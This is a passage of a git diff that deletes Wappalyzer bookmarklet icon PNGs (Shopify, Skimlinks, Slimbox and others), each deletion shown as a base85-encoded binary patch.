zU;giVaOpooi!WBS?A>7x7^s=rxqz1c{rB%bI(YW^-G7EAPb_+Xc2mvw?E(KUzP$e* z7id4e7P~%bIe@t{mttqjGe*%nL2|pf;(pOBn(SH$?wOXUl`)M?q9^6C2?Bb;`4v%xgGz1|NZm-=bzvI zk3PBnpP|+7fAY3zSS@+{>Fs~Mz8J7$L)Z8GKl1d}{~h-({5PCmf_CRny_5y3dU{OZAflLe*VP@yOhV-vjp;U!+n z-B&h&qlhY57@OejchB%TKzT+M(C5Cib3pu-$poWd{-wSDrKY6NCJI2lJM{P(QHgNg zrG5W_?Fs58LNEqar%{{w|G)kA`Tysi-~YEAUk4QP`@j79QLGitlBM`g7hXCEgGfQ-#!60O1~1`)-x!9D{f$f+K zOxG;vzhHlC_JDOxF)W7xP;`LO1UC)3=iE5D=Ky}syFsAab@~7R002ovPDHLkV1kVY BRr~+| diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ShinyStat.png b/Wappalyzer/drivers/bookmarklet/images/icons/ShinyStat.png deleted file mode 100644 index 11f9560249a9cde00ddebd853835e59bca3bbf66..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 222 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!61|;P_|4#%`OFdm2Ln>}1CrGePVP0d4j5=#IgSynhw4=9M^XBMAH9t26I?C z4d3V_K4_CHuwiHPQw#eX0hmDMj4&F%E%OKHwh15c+W-NzU zmP_4q7k6`4-HvBBrn{VNZF6(BvpTc$>nUh$(jUGrfBt-){u}^%{%vSr_LS2>C4y8O z4w8zE4oi#j-2vFc$+vXashCJh;mn-{OzDDfIfGmO1%#bKu14ef;&6syiS0D5JX;3M zWY9cpL2Nq>qtQcrow4wC1r&<4@npmgM%4@2_y*RIn^@N`qHe^FUP%Z-H3ce?gjj5D z$O~9W%9UDv0gN9;X0jT1UI;?afxT^3RE_$;z3ax}szmq3jujtl*3c&7`(Oa$zC0gY*WnlelR1ILhAs0Yik_%o@WJ1BZ=Max?f zrnP`CFCbI9`rQ^S(7Ye%kR2?`W+hk(pi4wRPxv=?0h~Q5hXcHcDtxEYU>GK=l-`D| zvPP(^epV>7adQBr(epu|6`{CqA6#JvXqwI{F)agIPy(^R1IZ#;ode7pJeH?YKFTMK zphwe)WHOo6R?|b^+*POrvzT9Af1eAOH$r?_H@dYvlqn8j%=QG)%{ao;H$;2KkSe(b z@5Ng%^a&s}Z+LS6iN*V)YwkYIzB-6Dc^&SlFQa_C5aew>aI_SW7Cyi!M(lhOBo<#L z2avA%f3-?$P$?_Gjn5UR{&*ax2M<8q{s7>d1aqPS;Y)2Gdq%Oa>PzRovMmrFT6&Fk zaV@&%9-;Nqb#zX5U`C>Wd{POq-i6r}FJweu$Ks0easbjBuT+x3w49)zASgyj24gCF tnAADL5|cYR=%!K)RD>zA0o=d;;5V2i6V`32&_e(K002ovPDHLkV1f~KIxzqM diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Shopatron.png b/Wappalyzer/drivers/bookmarklet/images/icons/Shopatron.png deleted file mode 100644 index d6bce72b064f2f7f91972271dd52fda1e5e049ae..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 299 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbK}RDe&2E0F%5#qd9c;eQ$orGpvB zBt$Bk^M8Th|0<>bt;YZRUH;Du{l7Tv|Jw5ZJ39U!n)(0Cs{hw^|9^1i|LeQ|zrOqb z|3B}4v09+%yd^W>_h?Q?v=hV5cH!pvao3>oLXUi$a##SD&{7214){9?X Wq*59u=)WImJ%gvKpUXO@geCw(n}EFl diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Shopify.png b/Wappalyzer/drivers/bookmarklet/images/icons/Shopify.png deleted file mode 100644 index 82f48c26f80726e35c1e14a7c5c8f23e24dd1415..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2054 zcmV+h2>JJkP)N(=>@mTdl^nF_@%Uj8QZ( zwUSmTiY+KoqY%{=i>(GNVlAQwh-g79f4i{dciEYp`}@6bC!*{Ve#T+A3gEJGi&F}`Sk_!=RaP@{|U zt4k|Zyzq+y2lfxGudjb8ilS%d&0F{bzmMnSpiY;5VE?mC+PuG@8U3bi!dBr`O zHf=gkDAXOy_uoHn(1HbjeE;&xuet@`vB#D@ecg38yalju z;ZsX)ym8i}4?M8o+}X45U9DPad3D3mR;FP2yfAm}f~#-8ea?D-dGi)czV+5S_D-BI zwH4su`AhDab?fZ4rEvGp-+1T6u3ZOT|MzpR&krx2HR7hvEdmj}C5n=V06N0a%VzHCE_ZzW``4e}_1-&sA09cX;hcO!RH($AY_>V zq_gY&w&t+`B^OaHTRg9ZZ6EDo#AqL5lvENtnb3`>7|b^(odiviV<~jGNL3rbw!ar-B-X7!QkJt%u-1=pAa6Fs=X~&?^E% z?1I_{Uz;)L=IMX!I&KM*G(1^BoH$CA!+i7lCZtxKW6lZFM%odQP)H^N{rSX}m08oUY2m^Pc*e0_Cr zKlYV2XWOfQ!5}IGae$$^eFghPnX>iAFT14L6) zwXb+W6bJM}6+{&kV^La_SGOn@Q;LByod7t@b*I~Vi*-sS8s zZ{@v?XLw`Vg9J%ecK$`PBBJUDld!s;k_qYO$w{hp14WQI01WT1ur)q~qpTm>av>Yq zmmw;c-lK(Y^H~8=zz$idfedK}v<5pbL}?E%oF0 z?z9CIYlfo;sS63yGENelCcRH_L}>(>M3AFmKpBZrJ75G(-8iR$^qptV^I5a~_W+1f zoKprBPvP6s9;Br>jzl8Dw4205y&cdr`@IkmFk}Qp=@VhJh@tT~C3KTS9MUJk7>}*{ z|Hj%KPkKwkQXZ*0sa1v)F43iR~36(Iw^a}u#Di8&XX&YDoGTuox998Mv zSYj0A_3d-neP}(Z7U#%>G}X3dTW3es1z87rf-=Ul(C+}CRR;josmF0Z&gkFVvqdg! zy^UeTsr1B$h|>z)J^N5GI46h*QC!KMqLK+sB%)j?V~v6A!%>%#A}9(|Kk*pey<&2$ z;C!P7gC%DhIkov>CJdd)zVa4I(H_PQnNE_%02pKGENw>7-o9W+Tu4vou-2gTK|qyi z5y7;6as);vi3%AdrKvE6oUJ2HV}{h7#@ObI5Xm|K>QN5&^WlLP0aNWvDiM_+z*s{D zb8Hbs4RcntjX6eu``CWT>_-sVOKW(mV-X&CL@cQjR4kS}<>(N9+456jS2?P%f@(@n zSO(0|vG#3WCE|42F%cxOo9uZOW5HqxrJL7w-pl&VMNDqFnxVxuJZsroeuvHbpGG7E zV^MV|76S;DAPlky41lu?9o|eiK1@{rpu(BJa{zuH(?fgGDfNRr{2J4Hw|fR_e7fB} z{;_*5;IiC(TZ3;4*}FxmSGLKbfGBogz{Su!x&gm2p*F~aOSAYy6*Z<>M6Zu^o^RIe z`7nC5=djxz_DCED(u_3)6+k?U)?`FIRJCs#%}5`u2RnB}gps3hc%FQ-k|YU=;Q3$y zoRTlt`c;efJpg#su#Cm1RI6iw8er7EgZ@lUU7@W$rq{MLNIjLzk~QH_Ir`_|fk+;9*l9Z|{cjLL3Xr7QiQyCd4P zc}3T|z#hQm>a3RpBAhs?4*5Xwl!xWZbBdd99Z=kK z^MJy-D+jR}pxCqhhtjs&2#wqCzE@a(-G+e}AUAFIGR3tQ5t_H%dB#8rPyqT3wB>T6mfNKV7PyhuQvY(L+H{N(T3FJC(phD#T zE3CfwpSOGWM~2EZ${+*ulr~*Q1l*2$-;oW-IQb+}dG|xG9568dODw8wmtZ-yZo9Ok{84$U3sxtcH!CI%sq!78ljk_>(F7a z7mx)(n7Q-NT_gjTfmjiU^VZ*dz0Yvo*|$KAV0C))&MaY&-F!y~tf}V+iXn_02X6yu zc_f2afLIEMLx8y7Y~i_M^DeyzVyHj-fGKLz^&WIrK=E&&LF?JO4=W%U#012`K&%bK zoM6G*@4gxOt-10Jhan*Rj|u24j-JCMKutU_gBXxZWd~w6*A*A9;xPn_Wu~534^%4v zas^6af(Dl9@@ucwDNH~43l>l?EI8rlw}7=*j{?=00I@7cJw}QIr8*!M0%BJn&IIBL nAT9*rI3RWhVqGBSLe>KS3SGuDW72`T00000NkvXXu0mjfM1ULu diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Silva.png b/Wappalyzer/drivers/bookmarklet/images/icons/Silva.png deleted file mode 100644 index 5ce7ac71163443736b7f5b0cf2ef8e0132462939..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 724 zcmV;_0xSKAP)7+;dH1He{LJ6_hqK8c>ZY6#{9kf&?lFMTrDSsaQf5DM*ok4gV1Wi9%ul zktr-o@9h0?-+Rw_RCg}o`SUs7@8|i^bJT__tNXQnd3G#Y$jtV%r;Rpf?Gf6L{>A;N zO-*E4)htF1tl?4H1FpWf$gOwRrKG6ja>JNKOVo@bbuC@Nk2%KkDe`(?w2$xkEF8Ox z`kMI&!t>8hS$lB>fejFZUs2>0eK6^KdX~`|r4&jje9xz;{x}tVQbaCd)%nG|>3EI9 zp%ln(KYPIi2qE8BdwU<`Vmi~yRH1N0iS7-+af)hs&1uU#x3c%g> zH+j|m0_!Z+Ih@4Ge*kowomf1rlZW!&6=cIKk&Cb{!a4UJJE%$fM+kscnjp;6y!-~K z(n~ zpp-%!hzN+FCN@@y2o!8UAuNDEXhTjdZDvg6IDG9Vps9N&@acOS2#6C9P-Axumuw*u z&nSSCc&XM=(zBFpvv)DCwgG^*Utcr5aWc+15Wyj+s?CEWv{6hIN$3J7fkG7Ua7QbH z`ljg2rKw(DiKjiB2skkLY=DTw)kR{n00`m$G?^d+KoADlg5Zb}oeA?%GEdUMAHcHW za)y)-i*KX#Ha2hn(1D5awwv}hq$`(W=J+|B-f#}14fk5_vt-W#boV{SGQpJkeOtbz z+vmnrgxu0Y_f)9lF9@LM<(It#s(%9B{(exniRMHA0000HV8G#Wag_rT zpOPZq1OfJ`0_+okWW!_&hePi*Wp8O7H$SW=^J(T|`8QnG*6>R(wB*fbdC745fzHHB z)i(_e=(cAu#07U-3FzKWgTe~DWM4fz|T8S diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SimpleHTTP.png b/Wappalyzer/drivers/bookmarklet/images/icons/SimpleHTTP.png deleted file mode 100644 index 2e51915b09c435ad7f8b5676cedd7ee0bfb4c2e4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1379 zcmV-p1)TbcP)ftrN>fzNr`sKPe^w{RL%pAzHNl)Cjp2pB#wDlyKmf~_w`N>9}#fY(4hJ z{}!O%Y}!P+_B4|BkeUk$iGTtD$QTq5{|pdn-4H&YbNNAe;Ojr9EkIA+b-%X8_ee@l zKM6q;&?__jJh z$*T*%)@%te5#l1ja%2-z{eZ-S47Lu+u5)9eCwA)tlhDNmwueG7jTcK}~TmvJ3=Y5g-XfC-nu$ zwDm=Tm0QqNcfjuNymRSHXLaKkd_zW_ts5NaT}1-^P81g|+z zKIbOPy&k>!VVJ)H>Hi6aFM`(Wna-^h(i}0hb_g(-VYClcY(!V@MEZV$p6@{;-XEcm z1h>3EL7T9m3tip?*G7@Q&OqN;AOaPTOOPZmiD>&5&LEc(%!^Q)RV>y7tz3jl0IkZ3nC;;Agf_5_@C$}e zR7T1g0!W5Xm5wGu!Y`%SRS`MSD0>-$2@kOZ0krL^Ce$g605W2-Kyj!P5qP*Wex8-e zfms|1aS7i-70@d#07jgdHWBtF68yV@lWPeFNHF0>o^fQs@_)Mk4Pz*d>?&|Or{2X5 zPYLc;2<>ip6KWg)_jGv5*&?_G0it!TxG-hvXEkDpkVCsTzt+jaxC2s0#hVeP)-;IQ z>dcVae;q>+tK!M*w%4iXN` z0jd0OrG2!#Or=?k+yeijqN;-~Ah(7Jq1SRs-2iW_Sn{ab>eFIDLCeWOA(usRH3U$V zbQ}_GI;)CXnA|52w^`j{R3M7wZ9ij7M(Sg0y=Xscf4IYYukr1D+yfI<=@WHEBf zVb%-wT!LK4-6`Y9O4Dyb01l9AkCXK(IYY`AOoW2AO+>9`j%3f7GcMYT?=K@tiZ1|X zivY)`z#Llnb+;;;dWD>EE6oKFzx4>-7paJLXmO*dZ;!n)TmkQ52u#Jx42~|Mk&l)c zFX3*O0K`N@2==R&fTTF=`(!>$Z(a<%=$5zuhocT`*9qNB){9`Zv(;>OyR(!~3?{mf z&M?xv9e4y7#_;a~9H)R=w83*^O{iIkdW}PePYje&wRAv7(@tO`@H2*)3vj$&KQhrl zi}y;6DWU4*3Z&ek!Lz_p;0V(|#q^PY=bOX&R&4=?K)X=!32E>SHTE$>1ZIv)z-Ag@ lJ1KY5l25415-{=^;vX0vvI@AHok9Qr002ovPDHLkV1jBocr^e3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Site Meter.png b/Wappalyzer/drivers/bookmarklet/images/icons/Site Meter.png deleted file mode 100644 index 7581a77746a635e2ab91b4f4da5b91d649e28483..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 382 zcmV-^0fGLBP)rz6C|W<-2G8t3@&YPww>kub;^Gf6BThR0Dqg{_+3RwSzz#*8f+JVL>tA z+WqtY_nzJSUq6ZOe@d74f8!LP|1&ptAPo2q1lJ#4_^%zu`9E)B_Ms>Vo1~C9I${%s__4`ZomIF zV1+*aje-35HrM}_nUen#J3RkeXUqIg>hSt+oh9=>wcGcsh;Qv;cQvWl01Ht@EAni~n4>92CgR}piyngWi%6-!4YY)%= cr#MXj0F^rFxxpj2KL7v#07*qoM6N<$g7(nN1poj5 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SiteCatalyst.png b/Wappalyzer/drivers/bookmarklet/images/icons/SiteCatalyst.png deleted file mode 100644 index 002de3d70a519a28bf2daed49d83075d47f347ac..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 623 zcmV-#0+9WQP)@6FVQuu zQlf3PZ(6N9w|1rM8!Y%O5N}3T-?_m+x^{)kZyb8wknDicCG2bR7c%_Efe)jrZ(JiU zk4OD~7BUJ}Mn*D9U8=>)#BG)i{aekFa9}TV^|SVR^Ym{u&A_FH>S<)!c5m7y!uh+C z&FAk*3dMmP(ACe`6~O@%kHV#goJ6=Ke*rK7VaKO26QP^}9`&RrLPiFr?|4$-cPu*o z;Y+nlWMqObzmxA!=;Czcroi&aEe4PCV^rd8+5GD4J=v0u@+C!dIY0#S}jMY zC}#YREtURf#9e?gl9+Gssb>=8mMsY;it67AYU)oegHXIy$1iWafr zEGFC6Yuln5SiFRNE1shD47&RIRkHYtVn#-$&%i{;iz5O3!BP}|!&9_=!_s=dUlcPl zvV37;V)??%#EOD}V*i;Kng60|0LuM9SBr$PIDq*-P@Dmm9sn}9>;Kuy6aN4J002ov JPDHLkV1hTHAuIp@ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SiteDNK.png b/Wappalyzer/drivers/bookmarklet/images/icons/SiteDNK.png deleted file mode 100644 index 2e51915b09c435ad7f8b5676cedd7ee0bfb4c2e4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1379 zcmV-p1)TbcP)ftrN>fzNr`sKPe^w{RL%pAzHNl)Cjp2pB#wDlyKmf~_w`N>9}#fY(4hJ z{}!O%Y}!P+_B4|BkeUk$iGTtD$QTq5{|pdn-4H&YbNNAe;Ojr9EkIA+b-%X8_ee@l zKM6q;&?__jJh z$*T*%)@%te5#l1ja%2-z{eZ-S47Lu+u5)9eCwA)tlhDNmwueG7jTcK}~TmvJ3=Y5g-XfC-nu$ zwDm=Tm0QqNcfjuNymRSHXLaKkd_zW_ts5NaT}1-^P81g|+z zKIbOPy&k>!VVJ)H>Hi6aFM`(Wna-^h(i}0hb_g(-VYClcY(!V@MEZV$p6@{;-XEcm z1h>3EL7T9m3tip?*G7@Q&OqN;AOaPTOOPZmiD>&5&LEc(%!^Q)RV>y7tz3jl0IkZ3nC;;Agf_5_@C$}e zR7T1g0!W5Xm5wGu!Y`%SRS`MSD0>-$2@kOZ0krL^Ce$g605W2-Kyj!P5qP*Wex8-e zfms|1aS7i-70@d#07jgdHWBtF68yV@lWPeFNHF0>o^fQs@_)Mk4Pz*d>?&|Or{2X5 zPYLc;2<>ip6KWg)_jGv5*&?_G0it!TxG-hvXEkDpkVCsTzt+jaxC2s0#hVeP)-;IQ z>dcVae;q>+tK!M*w%4iXN` z0jd0OrG2!#Or=?k+yeijqN;-~Ah(7Jq1SRs-2iW_Sn{ab>eFIDLCeWOA(usRH3U$V zbQ}_GI;)CXnA|52w^`j{R3M7wZ9ij7M(Sg0y=Xscf4IYYukr1D+yfI<=@WHEBf zVb%-wT!LK4-6`Y9O4Dyb01l9AkCXK(IYY`AOoW2AO+>9`j%3f7GcMYT?=K@tiZ1|X zivY)`z#Llnb+;;;dWD>EE6oKFzx4>-7paJLXmO*dZ;!n)TmkQ52u#Jx42~|Mk&l)c zFX3*O0K`N@2==R&fTTF=`(!>$Z(a<%=$5zuhocT`*9qNB){9`Zv(;>OyR(!~3?{mf z&M?xv9e4y7#_;a~9H)R=w83*^O{iIkdW}PePYje&wRAv7(@tO`@H2*)3vj$&KQhrl zi}y;6DWU4*3Z&ek!Lz_p;0V(|#q^PY=bOX&R&4=?K)X=!32E>SHTE$>1ZIv)z-Ag@ lJ1KY5l25415-{=^;vX0vvI@AHok9Qr002ovPDHLkV1jBocr^e3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SiteEdit.png b/Wappalyzer/drivers/bookmarklet/images/icons/SiteEdit.png deleted file mode 100644 index 17042b8b06e82cf35486da186ce4d865e60c9937..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 254 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbL!Yk*IPE0E?$UDdql%A_;lpBTjR zcFVhV@Bh93=%4eKQ|6r%&s+bAUv=Bv{%`*A<@5jhAz(a}(n**x2_>UwR?*SD|k^fx|Q zI`h@By$@#fzJGB0kQ(<9U7`Q~|5rXwj|1uzC<*cl26B-B!vp15Nd^W+b59q?kcwL+ zlOx3rD{#2VPkkVu`ul#a;W3Z)4;QPR96R1|cxJ(ivXt`n-&4-4erWWQ_0aT_>I%Pj zS-vr}*Kce1|Ie|+LGI5f@dx_R7exCWvE10bH0^h(65Ew^Pugyt&>RPrPBj-!Roh;m-Wr zoaNbC=gQ8v%!=Fo?f$!iZ-rTT&pUV4TYt3O;_p(_eb_&{aQ!?RooUf=H9J1PFOxss g7b%;b&&b9Q`%^MKz4G~1VDK_{y85}Sb4q9e00HFXqyPW_ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Sivuviidakko.png b/Wappalyzer/drivers/bookmarklet/images/icons/Sivuviidakko.png deleted file mode 100644 index 6a24fd0cc428959740cbaf91600e2ebb8b3f84fb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1658 zcmV-=28H>FP)004R>004l5008;`004mK004C`008P>0026e000+ooVrmw00006 zVoOIv0RI600RN!9r;`8x1#C$~K~z}7#h2NS9Mu)Zf9Eb$x2u=gnK2|NX0Z)Qg5o?z z0$Iu%ixeqO`A71{fFmaY6cfq8VH|9*8PDEbUE94k58c!5nQ42* z#DXJLNmX^bzwd0{Jy(AF*BAd7qJJe44d0;&;+5z>naYPM=DVjcahS#{d z{SNE>%lKF$Cq%)d4hR=Ler z`E9<=Z*#ZUoV-ts;mq6$KV5v4rmu-Ho{oSZEQY5sI9%os5loVxjln2IZweg1X~(-? zz0WXIT<_nc^ws2BmKZLq{){=!vcJ=376*0wMMB4)K`Di`Bau{kR4PVmjMj(NXQo9b z>9JD{c((TppY48r==)N8fv1)(lJ`sUegQ{F94W$xi783!B3e*dgFrbPK#Y)exZ5AF z*v>HO9`~;8QuvZrp18zzwM!&UDnGS`A1s{5sFWfv(OTiMWHx~aC@hAQ5CZ+ZeX@3j zO%jT{k8c`62sGZa((Pc!(O698SZl4IM6r}E9FC~KLbgh3Th!##WrH>fo0#JSMsniW ztG^+l2;NiVL(-O`)9nHUaeov;5n;94MJeGY^XEzQ{r5CyS{R+sgd7nFJ`zF%IhF#U zl6^joZ%}O-mdsh6%wAxneu}EB=+5$WB^s?X3PIF(4~Y?& zF$Y8<$y~tOoSQoz@@4-DkLBmN(7D8#e})j|0npa6XAPY+IaZiQEksY0Fa{SmxVWzr z3$4syt)(1R+|94@!TuMVt1odOyo8cfv^ErpBd=?EClDx_oIryTbuR+5yWp@Ht5Mov ztf3f|d^UKS!OkW>SHHqoOVTPBR`oG$m^L3^r?`WUC89?Wka3U1lL!DPB_z(El%Q0} zjs8c(t;jEu-{7(~WnJS#M61~wPEps~+Pg-O2BQpo4=k z<~!treVV2r#4z)BAx7@(Z?L}m57apSqif2+(-1fyVXY>07V9+EiodYF{V~4rGbOh1 zfvx_KPjA1^#_->0Z6+j`nwlPJBoigr#E_&3d7bmmoj>#A>Lmu%9F^C|*z2nC3~SGS zwm#v*TfZkrjTSxfUdbc_r>cQtHK7%0%TiaCjruxU#VvY+72;UrL-gd;E}w6I#N}Im zV7Ix6)@IUzBj;tp;9H#sjMZcvM}KF?dtdyHwas%RrbQ$$s5bd#c%7~C2B-$D^ki&1 z2>*1se(M8C;w%9v%Y%;r3Fz6r39_j*lT^rb5Y~WpH>G>vb2=|!f;RkGHTT^ z5t**~sp31(fk#4MM8cw!P!{#rOF=0$1|Ef8se9lYIW|0!GoeilN-KQhVJhE~k$tN7 zMGgy=2_e)<>;LY03~!qSaf7zbY(hYa%Ew3WdJfTF*GeOHZ3tTR539+F*Q0cGb=DM zIxsNlwMGm8001R)MObuXVRU6WZEs|0W_bWIFflYOFg7hQGgL7#Ix#gmFf%JKGCD9Y znCSkn0000PbVXQnQ*UN;cVTj606}DLVr3vnZDD6+Qe|Oed2z{QJOBUy07*qoM6N<$ Ef^hrw9{>OV diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Sizmek.png b/Wappalyzer/drivers/bookmarklet/images/icons/Sizmek.png deleted file mode 100644 index 7bea12b75a8a51d6731934e631c2c4354c4be89c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 642 zcmV-|0)737P)Nkl*mK5f(W1v8e~ zemDJ)ta>MS{v3YCxo+qBaLVMRJkD3$(#!ee%U5dQ`MdbtgZspp;*CjBfuhVa+v`E& znF=hWSiVA~a{eTKL2KIA?{cK`e-rF<3IXA!-Ka%C4^DfLj{bxl!*(5j0CfcBY$;_Z z;0}D?zh^K5y^RszH`6JSzpt_jN>d?E{p0=}P1c*e06$naB3`j1J26{tXtPnoF%ab54c_p2`DEVZL9!SOcyLhs-TbRyge(* zJ<}iozKAoCCVg%Ml>0+8vI6k}mJhB19!IvP9!8cx_eM*7Js`|kaEZ<@Vz1yl1Q%ey zoN~h0VVf-4ghTZ=p&wu^_`s06*gvoZKj0_-m117Q&u}yg0lI`M2|v5SiAHS$7P1iV zGTAquIjaA{m{~gKIIggnR)C(xxP7Oe*jG#Mg0Jo7qj>{Q;TDNIWBhN!9s8Mn)BM&P c%@H&90RWXMl9sg782|tP07*qoM6N<$g6uUX!2kdN diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Skimlinks.png b/Wappalyzer/drivers/bookmarklet/images/icons/Skimlinks.png deleted file mode 100644 index e5dea4cfb53bf3d0f7c2cecd5b21581f76753c24..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 635 zcmV->0)+jEP)_Dsp#BWG+L^-R8KF7Civ&lofix5nP!xn_ zK?oK#+-Pd<5$OO=km4gmD0~mZXMuP+5KjW)n`rXkXbvbM(g710pxKGiJiY;bpWW~@r7CvjwHSc$#P~Oeo3sEq&VOs5OblG4Jc^M#(QyqmvW|u+X5Ay2t>np@=IqP#tg_OICdfN?0W1tYsjB`iWFr zjOGA)H2GvS`Dh}dBnG6=mDsF@rINaYrsf55qZFDWQt+6mL~49)L302LG}zJAx1V^kvZ(4!cd|1@^ps8_0lh;6&WCP+aBsk(H5L+VW3?RD%OX5S%IV+&z zH?g&dgvrQ8AV>EAu^kYbU}==B#S#jC@wExFsMrVv;Rjee=|!kzTtGz!d?vRqkVz#6 zyrrZ=A_T;rD0IMaO1ot&&@B3s49gz^u`D%v$u>aT3ay6!V6pHAw0Q?=V;T}`E&y$% VE~wsXnXmu=002ovPDHLkV1oV{2CV=9 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Slimbox 2.png b/Wappalyzer/drivers/bookmarklet/images/icons/Slimbox 2.png deleted file mode 100644 index 2bdfdaccfd59c5ddc58638db2844a80c7ffb7911..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1309 zcmV+&1>*XNP)kdg000E!Nklu*+s0SJo;q+{LTMd-u)t84f|uG_qOk@%$jAs96D7otA!u|y519wOpQXXVdd%W+xy{q7^g%AA+Jw9`D){b zHdeD_rWOQIuw==iONI_j^ekHmMRBbAVD`b4>~>ueAuO$a>yekL&33jWn#)CnBv_M4 zN|j*lV;xNkVYIw{_VMS_TFl4@d42MwpG;nuFU8O|5wu0QT+^;oGPjK_n2Op;1A{nj zoSDCS!3|X;H5VQ}`OWFFP^ui)w&OuP+u9y*!{?$ET_n3cRcZTl@ye<8qoFNCA!|Q* zYI1)lqFQdjOw$Q#a$^_V(l=LFFjKnamanx9v)jFAPNlAp3svXw?UnA$SYpL}2JY$` zn%Q^4{YLsW-80uPmt56##Eo<}4H?wK09s4KJK5o0ZdVB4xf%cC0hyl)WlOcZj2g>X468OlLn zs4b{GC0Q5Ml661!uEKGp%aUE~08ug=^&gsVSrjd(B?AY7p({qFGOG%ip`>F)CThr1 zs3j??4KCkp%^piTPI}amJw2J5qKQlbPX0nltLn&f5xpe-s(XgF*wk#TJ%8fNlL=WiLluUG0zG2;(EuG2u%l`ku zP|A?9YPb8undw?1yH9S@ksVLi^t@$Fg#)FYeatP|R8)g&Z@t-n$AOeVDDRY~Hx_oX zRzDo*IOc>C?z3#kP-#KoP;I0m*hu?_|9H+!}s-{73Nj$2FrMta(|>unxz=ygG3sh)nh9otQc^gqZtd@#d+m+EALF&U1TuhB z8@ct?{)^dmyVJ<>A~r-vMkXpV%ERH_)qno&wb!b@q_3+vKn8%?*v+@U`fTsnvX@FR zwdz?_R?2!>9i*?WeDwO8|N2AxFztpa0SEwqkT>eJ`eBd#{Pc5M8{Hx+!eM>6|K7E? zKTDs)EAE-r2>=2B05OIswG2h;+}&rOr;tCAOHXWf*=Y4lB8Ax00937kr^@A Tc-zsf00000NkvXXu0mjfe?5G` diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Slimbox.png b/Wappalyzer/drivers/bookmarklet/images/icons/Slimbox.png deleted file mode 100644 index 2bdfdaccfd59c5ddc58638db2844a80c7ffb7911..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1309 zcmV+&1>*XNP)kdg000E!Nklu*+s0SJo;q+{LTMd-u)t84f|uG_qOk@%$jAs96D7otA!u|y519wOpQXXVdd%W+xy{q7^g%AA+Jw9`D){b zHdeD_rWOQIuw==iONI_j^ekHmMRBbAVD`b4>~>ueAuO$a>yekL&33jWn#)CnBv_M4 zN|j*lV;xNkVYIw{_VMS_TFl4@d42MwpG;nuFU8O|5wu0QT+^;oGPjK_n2Op;1A{nj zoSDCS!3|X;H5VQ}`OWFFP^ui)w&OuP+u9y*!{?$ET_n3cRcZTl@ye<8qoFNCA!|Q* zYI1)lqFQdjOw$Q#a$^_V(l=LFFjKnamanx9v)jFAPNlAp3svXw?UnA$SYpL}2JY$` zn%Q^4{YLsW-80uPmt56##Eo<}4H?wK09s4KJK5o0ZdVB4xf%cC0hyl)WlOcZj2g>X468OlLn zs4b{GC0Q5Ml661!uEKGp%aUE~08ug=^&gsVSrjd(B?AY7p({qFGOG%ip`>F)CThr1 zs3j??4KCkp%^piTPI}amJw2J5qKQlbPX0nltLn&f5xpe-s(XgF*wk#TJ%8fNlL=WiLluUG0zG2;(EuG2u%l`ku zP|A?9YPb8undw?1yH9S@ksVLi^t@$Fg#)FYeatP|R8)g&Z@t-n$AOeVDDRY~Hx_oX zRzDo*IOc>C?z3#kP-#KoP;I0m*hu?_|9H+!}s-{73Nj$2FrMta(|>unxz=ygG3sh)nh9otQc^gqZtd@#d+m+EALF&U1TuhB z8@ct?{)^dmyVJ<>A~r-vMkXpV%ERH_)qno&wb!b@q_3+vKn8%?*v+@U`fTsnvX@FR zwdz?_R?2!>9i*?WeDwO8|N2AxFztpa0SEwqkT>eJ`eBd#{Pc5M8{Hx+!eM>6|K7E? zKTDs)EAE-r2>=2B05OIswG2h;+}&rOr;tCAOHXWf*=Y4lB8Ax00937kr^@A Tc-zsf00000NkvXXu0mjfe?5G` diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Smart Ad Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/Smart Ad Server.png deleted file mode 100644 index eaacdbbaa1ebaf63642a4668b54ead9bb3ade6bb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 163 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE1|*BCs=ffJEKe85kcwMxuPx+ia1e04_}6Z- zuR(;)za9S?6`Iz3ZhCg}k@20z=yE=vn?Vxaue@DbCkfOA0S)m?M!YZEFVDZUb*G+K ztY5>czopr E0Adb02mk;8 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SmartSite.png b/Wappalyzer/drivers/bookmarklet/images/icons/SmartSite.png deleted file mode 100644 index 1a08e848fc7b3ea9b61941cc586c1ebdb45e22a6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 412 zcmV;N0b~A&P)(t)}12YjC4Ae6-L=>PgO 